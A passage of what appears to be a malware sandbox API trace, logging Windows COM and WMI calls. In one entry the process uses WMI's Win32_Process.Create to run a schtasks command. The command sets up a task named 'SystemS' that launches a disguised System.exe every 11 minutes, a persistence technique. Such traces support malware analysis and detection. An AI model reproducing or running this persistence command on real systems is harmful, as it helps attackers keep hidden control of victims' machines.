ppvObject=0x1b30c740*=0x1b4af8e0) returned 0x0 [0127.214] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af8e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7d0 | out: ppvObject=0x1b30c7d0*=0x0) returned 0x80004002 [0127.215] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af8e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfc8 | out: ppvObject=0x1b30bfc8*=0x0) returned 0x80004002 [0127.215] WbemDefPath:IUnknown:AddRef (This=0x1b4af8e0) returned 0x3 [0127.215] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af8e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be88 | out: ppvObject=0x1b30be88*=0x0) returned 0x80004002 [0127.215] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af8e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be10 | out: ppvObject=0x1b30be10*=0x0) returned 0x80004002 [0127.215] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af8e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be00 | out: ppvObject=0x1b30be00*=0x1b4836d0) returned 0x0 [0127.215] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4836d0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be28 | out: pCid=0x1b30be28*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.215] WbemDefPath:IUnknown:Release (This=0x1b4836d0) returned 0x3 [0127.215] CoGetContextToken (in: pToken=0x1b30beb0 | out: pToken=0x1b30beb0) returned 0x0 [0127.215] CoGetContextToken (in: pToken=0x1b30c330 | out: pToken=0x1b30c330) returned 0x0 [0127.215] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af8e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c3f0 | out: ppvObject=0x1b30c3f0*=0x0) returned 0x80004002 [0127.215] WbemDefPath:IUnknown:Release (This=0x1b4af8e0) returned 0x2 [0127.215] WbemDefPath:IUnknown:Release (This=0x1b4af8e0) returned 0x1 [0127.215] CoGetContextToken (in: pToken=0x1b30d120 | out: pToken=0x1b30d120) returned 0x0 [0127.215] CoGetContextToken (in: pToken=0x1b30d020 | out: pToken=0x1b30d020) returned 0x0 [0127.215] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af8e0, riid=0x1b30d180*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d150 | out: ppvObject=0x1b30d150*=0x1b4af8e0) returned 0x0 [0127.215] WbemDefPath:IUnknown:AddRef (This=0x1b4af8e0) returned 0x3 [0127.215] WbemDefPath:IUnknown:Release (This=0x1b4af8e0) returned 0x2 [0127.216] WbemDefPath:IWbemPath:SetText (This=0x1b4af8e0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0127.216] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0660, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0127.216] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xf, pszText=0x0) returned 0x0 [0127.216] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=8, puBuffLength=0x1b30d590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.216] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0127.216] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0127.216] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0127.216] IUnknown:Release (This=0x6124e8) returned 0x1 [0127.217] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4836f0) returned 0x0 [0127.217] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4836f0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0127.217] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4836f0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4af9a0) returned 0x0 [0127.217] WbemDefPath:IUnknown:Release (This=0x1b4836f0) returned 0x0 [0127.217] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af9a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4af9a0) returned 0x0 [0127.217] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af9a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0127.217] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af9a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0127.217] WbemDefPath:IUnknown:AddRef (This=0x1b4af9a0) returned 0x3 [0127.217] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af9a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0127.217] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af9a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0127.217] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af9a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4832b0) returned 0x0 [0127.217] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4832b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.217] WbemDefPath:IUnknown:Release (This=0x1b4832b0) returned 0x3 [0127.217] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0127.217] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0127.217] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af9a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0127.218] WbemDefPath:IUnknown:Release (This=0x1b4af9a0) returned 0x2 [0127.218] WbemDefPath:IUnknown:Release (This=0x1b4af9a0) returned 0x1 [0127.218] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0127.218] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0127.218] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af9a0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4af9a0) returned 0x0 [0127.218] WbemDefPath:IUnknown:AddRef (This=0x1b4af9a0) returned 0x3 [0127.218] WbemDefPath:IUnknown:Release (This=0x1b4af9a0) returned 0x2 [0127.218] WbemDefPath:IWbemPath:SetText (This=0x1b4af9a0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0127.218] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af8e0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0127.218] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af9a0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0127.218] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af9a0, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0127.218] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af9a0, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="root\\cimv2") returned 0x0 [0127.218] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4af8e0) returned 0x0 [0127.218] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af9a0, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0127.218] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af9a0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0127.218] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af9a0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="root") returned 0x0 [0127.218] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4af8e0, uIndex=0x0, pszName="root") returned 0x0 [0127.218] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af9a0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0127.218] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af9a0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="cimv2") returned 0x0 [0127.218] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4af8e0, uIndex=0x1, pszName="cimv2") returned 0x0 [0127.218] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4af9a0, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0127.218] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4af9a0, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0127.218] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4af8e0, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0127.218] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4af8e0, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0127.218] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af8e0, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0xc15) returned 0x0 [0127.218] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0660, puCount=0x1b30d508 | out: puCount=0x1b30d508*=0x2) returned 0x0 [0127.218] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=4, puBuffLength=0x1b30d500*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d500*=0xf, pszText=0x0) returned 0x0 [0127.219] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=4, puBuffLength=0x1b30d500*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d500*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.219] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0660, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0127.219] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0127.219] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.219] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af8e0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0127.219] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af8e0, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x1d, pszText=0x0) returned 0x0 [0127.219] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af8e0, lFlags=4, puBuffLength=0x1b30d590*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0127.219] CoGetContextToken (in: pToken=0x1b30cea0 | out: pToken=0x1b30cea0) returned 0x0 [0127.219] WbemLocator:IUnknown:AddRef (This=0x1b5118b8) returned 0x3 [0127.219] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5118b8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cea0 | out: ppvObject=0x1b30cea0*=0x1b5118b8) returned 0x0 [0127.219] WbemLocator:IUnknown:Release (This=0x1b5118b8) returned 0x3 [0127.219] WbemLocator:IUnknown:Release (This=0x1b5118b8) returned 0x2 [0127.219] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af8e0, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0127.219] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af8e0, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0127.219] IWbemServices:GetObject (in: This=0x1b4ce9e0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d520*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d520*=0x1b4d8da0, ppCallResult=0x0) returned 0x0 [0127.224] IWbemClassObject:GetMethod (in: This=0x1b4d8da0, wszName="Create", lFlags=0, ppInSignature=0x1b30d618, ppOutSignature=0x1b30d610 | out: ppInSignature=0x1b30d618*=0x1b4da240, ppOutSignature=0x1b30d610*=0x1b4d9110) returned 0x0 [0127.224] IWbemClassObject:SpawnInstance (in: This=0x1b4da240, lFlags=0, ppNewInstance=0x1b30d628 | out: ppNewInstance=0x1b30d628*=0x1b4d12b0) returned 0x0 [0127.224] IWbemClassObject:Get (in: This=0x1b4d12b0, wszName="CommandLine", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2915f08*=0, plFlavor=0x2915f0c*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2915f08*=8, plFlavor=0x2915f0c*=32) returned 0x0 [0127.224] IWbemClassObject:Get (in: This=0x1b4d12b0, wszName="CommandLine", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2915f08*=8, plFlavor=0x2915f0c*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2915f08*=8, plFlavor=0x2915f0c*=32) returned 0x0 [0127.224] IWbemClassObject:Put (This=0x1b4d12b0, wszName="CommandLine", lFlags=0, pVal=0x1b30d590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"SystemS\" /sc MINUTE /mo 11 /tr \"'C:\\Users\\All Users\\Application Data\\System.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0127.224] IWbemClassObject:Get (in: This=0x1b4d12b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2915f98*=0, plFlavor=0x2915f9c*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2915f98*=13, plFlavor=0x2915f9c*=32) returned 0x0 [0127.225] IWbemClassObject:Get (in: This=0x1b4d12b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2915f98*=13, plFlavor=0x2915f9c*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2915f98*=13, plFlavor=0x2915f9c*=32) returned 0x0 [0127.225] IUnknown:QueryInterface (in: This=0x1b4d86c0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ce00 | out: ppvObject=0x1b30ce00*=0x1b4d86c0) returned 0x0 [0127.225] IUnknown:QueryInterface (in: This=0x1b4d86c0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30ce90 | out: ppvObject=0x1b30ce90*=0x0) returned 0x80004002 [0127.225] IUnknown:QueryInterface (in: This=0x1b4d86c0, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0127.225] IUnknown:QueryInterface (in: This=0x1b4d86c0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c688 | out: ppvObject=0x1b30c688*=0x0) returned 0x80004002 [0127.225] IUnknown:AddRef (This=0x1b4d86c0) returned 0x3 [0127.225] IUnknown:QueryInterface (in: This=0x1b4d86c0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c548 | out: ppvObject=0x1b30c548*=0x0) returned 0x80004002 [0127.225] IUnknown:QueryInterface (in: This=0x1b4d86c0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c4d0 | out: ppvObject=0x1b30c4d0*=0x0) returned 0x80004002 [0127.225] IUnknown:QueryInterface (in: This=0x1b4d86c0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c4c0 | out: ppvObject=0x1b30c4c0*=0x1b4d86c8) returned 0x0 [0127.225] IMarshal:GetUnmarshalClass (in: This=0x1b4d86c8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c4e8 | out: pCid=0x1b30c4e8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0127.225] IUnknown:Release (This=0x1b4d86c8) returned 0x3 [0127.225] CoGetContextToken (in: pToken=0x1b30c570 | out: pToken=0x1b30c570) returned 0x0 [0127.225] CoGetContextToken (in: pToken=0x1b30c9f0 | out: pToken=0x1b30c9f0) returned 0x0 [0127.225] IUnknown:QueryInterface (in: This=0x1b4d86c0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0127.225] IUnknown:Release (This=0x1b4d86c0) returned 0x2 [0127.226] CoGetContextToken (in: pToken=0x1b30ca20 | out: pToken=0x1b30ca20) returned 0x0 [0127.226] CoGetContextToken (in: pToken=0x1b30c920 | out: pToken=0x1b30c920) returned 0x0 [0127.226] IUnknown:QueryInterface (in: This=0x1b4d86c0, riid=0x1b30ca80*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b30ca50 | out: ppvObject=0x1b30ca50*=0x0) returned 0x80004002 [0127.226] CoGetContextToken (in: pToken=0x1b30cbb0 | out: pToken=0x1b30cbb0) returned 0x0 [0127.226] IUnknown:QueryInterface (in: This=0x1b4d86c0, riid=0x7ffa5f025148*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc80 | out: ppvObject=0x1b30cc80*=0x0) returned 0x80004002 [0127.226] CoGetContextToken (in: pToken=0x1b30cc40 | out: pToken=0x1b30cc40) returned 0x0 [0127.226] IUnknown:AddRef (This=0x1b4d86c0) returned 0x3 [0127.226] IWbemClassObject:Put (This=0x1b4d12b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d590*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b4d86c0, varVal2=0x0), Type=0) returned 0x0 [0127.226] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afd60, puCount=0x1b30d648 | out: puCount=0x1b30d648*=0x2) returned 0x0 [0127.226] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afd60, lFlags=4, puBuffLength=0x1b30d640*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d640*=0x22, pszText=0x0) returned 0x0 [0127.226] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afd60, lFlags=4, puBuffLength=0x1b30d640*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d640*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0127.226] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0660, puCount=0x1b30d588 | out: puCount=0x1b30d588*=0x2) returned 0x0 [0127.226] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=4, puBuffLength=0x1b30d580*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d580*=0xf, pszText=0x0) returned 0x0 [0127.226] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=4, puBuffLength=0x1b30d580*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d580*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.226] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0127.226] WbemLocator:IUnknown:AddRef (This=0x1b5118b8) returned 0x3 [0127.226] WbemLocator:IUnknown:QueryInterface (in: 